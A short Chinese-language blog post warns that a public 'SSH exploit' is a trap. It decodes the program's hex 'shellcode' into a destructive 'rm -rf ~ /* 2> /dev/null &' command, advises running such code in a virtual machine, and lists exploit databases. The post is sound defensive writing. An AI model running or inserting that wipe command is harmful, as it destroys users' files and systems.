螳螂捕蟬黃雀在後，公共漏洞 OpenOwn

本來是針對SSH的漏洞攻擊程式，實際上的效果非常有趣…

if (geteuid()) {
  puts("Root is required for raw sockets, etc."); return 1;
}

他需要 root 權限!?

繼續往下翻可以看到 jmpcode

\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f \x64\x65\x76\x2f\x6e\x75\x6c\x6c\x6c\x6c \x26

實際上可以用 python print 出來後變成

rm -rf ~ /* 2> /dev/null &

他把你 ~ 下的所有檔案都給刪除 …. 所以網路上的漏洞利用資源，必須要在虛擬環境跑唷!

那有哪些資源可以去查呢?

漏洞利用的資源

由 Offensive Security 維護，有專門的人員會審核你提供的漏洞。

有 BugTraq (公開mail，包含安全漏洞)、漏洞資料庫、Email 列表的網站。

不過大致上又去查了一些資源，感覺是歷經過一波三折的網站…

提供安全訊息的網站~